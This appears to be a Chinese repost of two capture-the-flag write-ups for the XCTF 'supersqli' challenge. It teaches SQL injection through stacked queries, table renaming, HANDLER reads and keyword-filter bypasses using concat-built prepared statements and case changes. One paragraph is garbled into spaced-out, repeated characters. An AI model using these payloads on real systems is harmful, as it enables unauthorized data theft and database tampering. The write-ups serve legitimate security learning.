supersqli(SQL注入流程及常用SQL语句)

Posted kali-Myon

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了supersqli(SQL注入流程及常用SQL语句)相关的知识,希望对你有一定的参考价值。

目录

一、SQL注入知识学习

1、判断注入类型

(1)数字型注入判断

(2)字符型注入判断

2、猜解sql查询语句中的字段数(order by 的使用)

3、判断显示位爆数据库的名字

4、注释(--+的使用)

5、堆叠注入

6、handler语句及用法

二、基于上述知识对此题的分析与解答

1、基本分析(注入点、注入类型等)

2、判断列数

3、利用or 1=1暴露表中数据

4、尝试联合查询

5、尝试堆叠注入

(1)看数据库

(2)查表名

(3)查询表中的列

6、处理被过滤

7、handler的使用

8、hackbar的使用


一、SQL注入知识学习

1、判断注入类型

数字型或者字符型,字符型的变量使用了引号,而数字型没有。

(1)数字型注入判断

常用语句:

1 and 1=1        

1 and 1=2     

假设注入类型为数字型,注入点为id,分别输入上面的语句,那么第一行测试语句会返回id为1的查询结果,而第二行语句由于条件and 1=2不成立,所以查询结果为空。如果注入类型为字符型,将上面语句拼接到sql中,由于id的值都不匹配,所以应该是都不返回任何结果,但是如果id本身是int类型,实际查询过程中是会返回结果的,这可能是因为对输入的字符进行了截断并转换了类型,造成1 and 1=2在字符类型中会返回id为1的查询结果。当然如果第二个语句返回了结果,我们也可以以此判断出该注入类型是字符型。

若两次返回结果一样,则为字符型注入。

(2)字符型注入判断

1' and '1'='1 

1' and '1'='2

对于字符型注入判断,我们也可以这样进行操作,如上面的两条注入语句所示,如果是在数字型注入中,由于变量没有加引号,所以拼接后sql语法错误,直接报错,这和不回显信息是有区别。因此如果上面的语句注入后提示sql语法错误,那么我们可以直接判断测试对象为数字型注入。而对于字符型注入,第一行语句输入后和原本的引号前后完全闭合,且逻辑成立,所以回显出id为1的数据;第二行语句输入后,前后引号也完全闭合,但逻辑不成立,所以返回结果为空。

逻辑成立正常回显,逻辑不成立返回为空,类型错误直接报错

2、猜解sql查询语句中的字段数(order by 的使用)

使用order by判断当前表的字段个数

例:?id=1 order by n --+

若n超过当前表的列数,就会报错,说明表中只有n-1列

假设为字符型注入,先利用1'实现引号闭环,再利用or 1=1这样可以暴露出表中所有的数据,最后利用order by num#去看是否报错来明确查询语句中的字段数,其中#号用于截断sql查询语句。

1' or 1=1 order by 1 #
1' or 1=1 order by 2 #
......

当然也可以采用1' or 1=1 union select 1, 2, 3 #的方式
 

3、判断显示位爆数据库的名字

判断显示位时,要使用 ?id=-1 或者改为0 让前面的select语句查询为空错误,然后采用后面的select语句去查询:

?id=-1' union select 1,2,3 --+

观察页面在哪里回显我们的输入,就可以用那个地方测试接下的语句

爆数据库的名字:
?id=1' union select 1,database(),3 --+

在之前回显2的地方会回显database数据库的名字

4、注释(--+的使用)

当输入参数为字符串时,称为字符型注入,它与数字型的区别:数字型不需要单引号来闭合,而字符串需要单引号来闭合。

例:https://blog.csdn.net/aboutus.php?id=1’

此时后台语句:$sql="SELECT 123 FROM abc WHERE id='1''"

此时多出了一个单引号,破坏了原本的SQL语句结构,数据库无法处理,于是会报错,证明这条语句成功被带进数据库查询,存在字符型注入。

此时通过 --+把后面的单引号注释掉,SQL语句也会形成闭合。

所以我们可以这样:

?id = 1' 攻击语句 --+

传入页面就变成了

select user from database where id = '1'攻击语句 – '

–+起注释作用,将后面的语句注释掉,在url中+相当于空格,–是注释符号,单行注释,之所以要加+号是因为–与单引号连在一起无法起注释作用因此必须把它们隔开。

5、堆叠注入

 在SQL中,分号(;)是用来表示一条sql语句的结束。我们在 ; 结束一个sql语句后继续构造下一条语句,就成了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间的区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制。

可注入条件:

目标存在sql注入漏洞;
目标未对";"号进行过滤;
目标中间层查询数据库信息时可同时执行多条sql语句。

6、handler语句及用法

handler是mysql的专用语句,没有包含到SQL标准中,但它每次只能查询1次记录,而select可以根据需要返回多条查询结果。

hander `表名` open;           // 打开一个表

handler`表名`read frist;      // 查询第一个数据

handler`表名`read next;     // 查询之后的数据直到最后一个数据返回空

二、基于上述知识对此题的分析与解答

注:以下sql语句都是直接在查询框中使用,并不是直接加在URL后面或者用在其地方。

1、基本分析(注入点、注入类型等)

打开链接,有一个提交查询框,以及题目的提示,这就是考的SQL注入

  默认框里面有一个1,我们直接查询,输入1,页面正常返回,从返回中我们得到注入点是inject。


输入1'页面报错了

加上注释符号#或者--+或者%23(注释掉后面语句,使1后面的单引号与前面的单引号成功匹配就不会报错)页面回显正常,那么闭合符号就是单引号。

我们再来判断注入类型

1 and 1=1        1 and 1=2   

 查询1 and 1=1 和1 and 1=2,发现两次提交后页面一样,可以判断出为字符型注入漏洞;

1' and '1'='1 

1' and '1'='2

两次都没有报错,且第二次返回结果为空,说明是字符型注入。

2、判断列数

1' order by 2#     // 回显正常


1' order by 3#     // 会报错

 

3、利用or 1=1暴露表中数据

1' or 1=1 order by 1 #
1' or 1=1 order by 2 #

(同样在3的时候会报错,说明只有两列)

4、尝试联合查询

1' union select 1,2#

发现过滤了很多函数 ,select不能用

5、尝试堆叠注入

(即在;后继续加sql语句)

(1)看数据库

1'; show databases;#

(2)查表名

1'; show tables;#

(3)查询表中的列

-1'; show columns from `words`;#

 -1'; show columns from `1919810931114514`;#

 这里查询表中的列,表名需要使用反单引号引起来,在windows系统下,反单引号(`)是数据库、表、索引、列和别名的引用符。

6、处理被过滤

但问题来了,虽然我们已经找到flag了,但是select被过滤了,而show命令又不能查看值。但过滤中并没有alert 和 rename,我们已经知道了words是用来回显内容的,我们把1919810931114514这个表更改名字为words,并增加相应的字段,使之回显原1919810931114514这个表的内容。1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100) ;show columns from words;#

用1'or '1'='1访问,即可得到flag

7、handler的使用

后面改表名的步骤也可替换为用handler语句去解决,即:

1';
handler`1919810931114514`open as`a`;
handler`a`read next;

当然不改表名也是可以的,我们打开有flag的这个表并查询它,即:

1';
handler`1919810931114514` open;
handler`1919810931114514`read next;

(一定要先打开这个表,直接查询是不行的,handler`1919810931114514` open;不能省掉)

8、hackbar的使用

除了在查询框中执行这些sql语句,我们也可以使用hackbar来实现:

load URL后,在框里编写好我们的sql语句,点击Execute即可。

 

XCTF-攻防世界CTF平台-Web类——14supersqli(SQL注入关键词过滤)

目录标题

打开题目地址

之后搜索:1’ or 1=1#

成功返回了3条数据,说明存在SQL注入漏洞
之后先判断有几列数据,使用order by 1让返回的数据按照第一列排序:

1' or 1=1 order by 1 #

返回了正确的结果,并且按照第一列排序了,说明至少存在一列数据。
其实我们也可以直接从order by 2让返回的数据按照前2列排序开始的,因为再上面几次搜索的返回结果中,可以明显看到有2列以上的不同数据:

按照前两列排序也返回了正确的结果,说明至少存在2列数据。
之后我们使用order by 3让返回的数据按照前3列排序:

1' or 1=1 order by 3 #

没有第3列数据,
那我们接下来用union联合查询来利用这两列读取数据:

1' union all select 1,2 #

提示有关键词过滤:preg_match("/select|update|delete|drop|insert|where|\\./i",$inject)
对一些关键的SQL语句的大小写的正则匹配,所以这里使用联合注入不可行,只能考虑其他不带这些SQL关键词的注入方式,如盲注、堆叠注入。

方法一、堆叠注入

使用堆叠注入可以同时执行多个SQL语句,例如分开执行显示所有数据库的语句:

1';show databases;#

还可以显示当前数据库中所有的表:

1';show tables;#

之后我们可以显示这两个表的列名,显示表1919810931114514的列名(数字为表名操作时要加反引号):

1';show columns from `1919810931114514`;#

1';show columns from words;#

可以看到每一列值的属性,但是show是无法直接查看值的内容的。
其中表1919810931114514中有一个属性的名称就是flag,应该就是flag所在的位置;表words的2列属性就是开始我们查询的时候输出的2列值。
所以现在的后台代码大概逻辑就是:

select * from words where id = $inject;

直接将我们输入的 i n j e c t 参 数 的 值 拼 接 到 S Q L 语 句 进 行 数 据 库 查 询 , 所 以 默 认 输 出 的 是 w o r d s 表 中 的 内 容 。 而 我 们 现 在 要 输 出 的 是 表 1919810931114514 中 的 f l a g 的 值 所 以 我 们 的 一 种 攻 击 思 路 就 是 : ( 1 ) 先 把 表 w o r d s 改 成 其 他 的 表 名 如 t e s t ; ( 2 ) 然 后 再 把 表 1919810931114514 重 命 名 为 w o r d s ; ( 3 ) 把 f l a g 字 段 改 为 i d 字 段 或 者 添 加 一 个 i d 字 段 。 这 样 我 们 输 入 的 inject参数的值拼接到SQL语句进行数据库查询,所以默认输出的是words表中的内容。而我们现在要输出的是表1919810931114514中的flag的值 所以我们的一种攻击思路就是: (1)先把表words改成其他的表名如test; (2)然后再把表1919810931114514重命名为words; (3)把flag字段改为id字段或者添加一个id字段。 这样我们输入的 injectSQLwords1919810931114514flag1wordstest21919810931114514words3flagididinject参数实际上查询的就是表1919810931114514中的数据。

1、rename修改表名和alter change修改列名

因为是可以使用堆叠注入,可以一次性完成上面3条语句,更改表表名用到的是rename,语法是:

rename tables 旧表名 to 新表名;

所以(1)把表words改成其他的表名如test:

rename tables `words` to `test`;

(2)然后再把表1919810931114514重命名为words:

rename tables `1919810931114514` to `words`;

修改列名用到的是alter change,语法是:

alter table 表名 change column 列名 新列名 属性

(3)把flag字段改为id字段:

 alter table `words` change column `flag` `id` varchar(100);

合起来的搜索语句就是:

1';rename tables `words` to `test`;rename tables `1919810931114514` to `words`; alter table `words` change column `flag` `id` varchar(100);#

执行之后没有报错。
再查看当前表中的所有数据:

1' or 1=1#

得到flag:flagc168d583ed0d4d7196967b28cbd0b5e9
我们再看一下我们刚刚的修改对数据库造成的影响:

1';show tables;#

现在数据库中的表是test和words了,另外原来的表1919810931114514中没有flag等于1的值所以搜索1现在没有符合要求的结果了:

也可以继续查看我们刚刚的修改对表test和words中的列造成的影响:

1';show columns from test;#

test表就是原words表中的内容。

1';show columns from words;#

words表就是原1919810931114514中的内容,且flag字段已经被我们改成了id字段。

2、rename修改表名和alter add添加列名

先重启一个容器,保证数据库中的数据都是没有被更改的。

这个攻击和上面不一样的只是攻击步骤(3)中是添加一个id字段,添加用的alter add,语法是:

alter table 表名 add (字段的名称 字段的类型 (附加属性));

(3)添加一个id字段,这句SQL语句的意思是在words表中添加一个id字段,它的类型是int(11)、primary key是主键、auto_increment)是值自动加1:

1;alter table `1919810931114514` add (id int(10) primary key auto_increment);#

和前面的语句合起来就是:

1';rename tables `words` to `test`;rename tables `1919810931114514` to `words`;alter table `words` add (id int(11) primary key auto_increment);#

执行成功,
因为有了自增加的id字段,所以直接搜索1,就是flag所在的数据:

得到flag:flagc168d583ed0d4d7196967b28cbd0b5e9
查看当前words表的列属性:

1';show columns from words;#

成功添加了id字段。

方法二、handler语句

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。handler语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。
后台只是过滤了select|update|delete|drop|insert|where关键字,没有过滤handler,尝试:

1' union handler words read first;#

但是这是一个MariaDB的数据库,无法使用handler关键字,所以这里是不可行的。

方法三、预编译

利用此方法的前提是支持多语句查询,也就是堆叠查询。
通常我们的一条sql在db接收到最终执行完毕返回可以分为下面三个过程:
(1)词法和语义解析
(2)优化sql语句,制定执行计划
(3)执行并返回结果
我们把这种普通语句称作Immediate Statements。
但是很多情况,我们的一条sql语句可能会反复执行,或者每次执行的时候只有个别的值不同(比如select、query的where子句值不同,update的set子句值不同,insert的values值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements。
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能将输入的参数和SQL语句分隔开来,可以防止sql注入。
MySQL的预编译语法分为定义预编译SQL语句和执行预编译语句:
//预编译SQL语句

PREPARE stmt_name FROM preparable_stmt;

//执行预编译语句

EXECUTE stmt_name [USING @var_name [, @var_name]];

解释一下,定义的时候stmt_name是变量名,代表这个SQL语句,preparable_stmt代表的是预留的SQL语句中的参数位置,而下面举个例子:

PREPARE test FROMSELECT (? + ?);//即定义了一个两数相加的SQL预编译语句

执行时,@var_name即变量,可以带入语句中进行执行,如:

SET @a = 1,@b = 2;//给变量赋值
EXECUTE test USING @a,@b;//执行

就相当于执行了select (1+2);
这道题目主要就是利用预编译,可以利用concat()将关键词拆分成2个变量合并起来,来绕过过滤的正则表达式的匹配,也可以将整个语句使用char()处理后执行。
拆分开来就是:

-1;
set @sql = concat(‘sel’,‘ect * from 1919810931114514;);//定义一个@sql变量,在后台运行的时候使用concat将sel 和ect连接起来
prepare stmt from @sql;   //定义stmt变量指向预编译@sql语句
execute stmt; #   //执行stmt变量

合并起来一起运行就是:

1';set @sql = concat('sel','ect * from `1919810931114514`;');prepare stmt from @sql;execute stmt;#

但是后台还用strstr函数过滤了set和prepare关键字,但是strstr函数只能过滤了小写的"set"和"prepare"关键字,
我们都改成大写它就无法匹配了:

1';Set @sql = concat('sel','ect * from `1919810931114514`;');Prepare stmt from @sql;execute stmt;#

也能得到flag:flagc168d583ed0d4d7196967b28cbd0b5e9

以上是关于supersqli(SQL注入流程及常用SQL语句)的主要内容,如果未能解决你的问题,请参考以下文章

CTF-攻防世界-supersqli(sql注入)

xctf-web supersqli

XCTF-攻防世界CTF平台-Web类——14supersqli

数据库MySQL介绍及安装流程SQL语句中增删改查SQL注入通过php操作数据库

SQL注入步骤和常用函数以及中文处理方法

sql注入攻击的原理